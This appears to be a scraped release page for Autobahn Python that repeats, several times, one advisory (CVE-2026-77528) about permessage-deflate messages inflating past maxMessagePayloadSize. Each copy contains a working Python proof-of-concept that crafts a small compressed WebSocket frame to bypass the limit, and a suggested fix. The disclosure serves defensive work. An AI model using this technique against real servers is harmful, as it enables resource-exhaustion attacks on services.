+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

May 17, 2018

18.5.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

May 11, 2018

18.4.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Apr 09, 2018

18.3.1 major

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
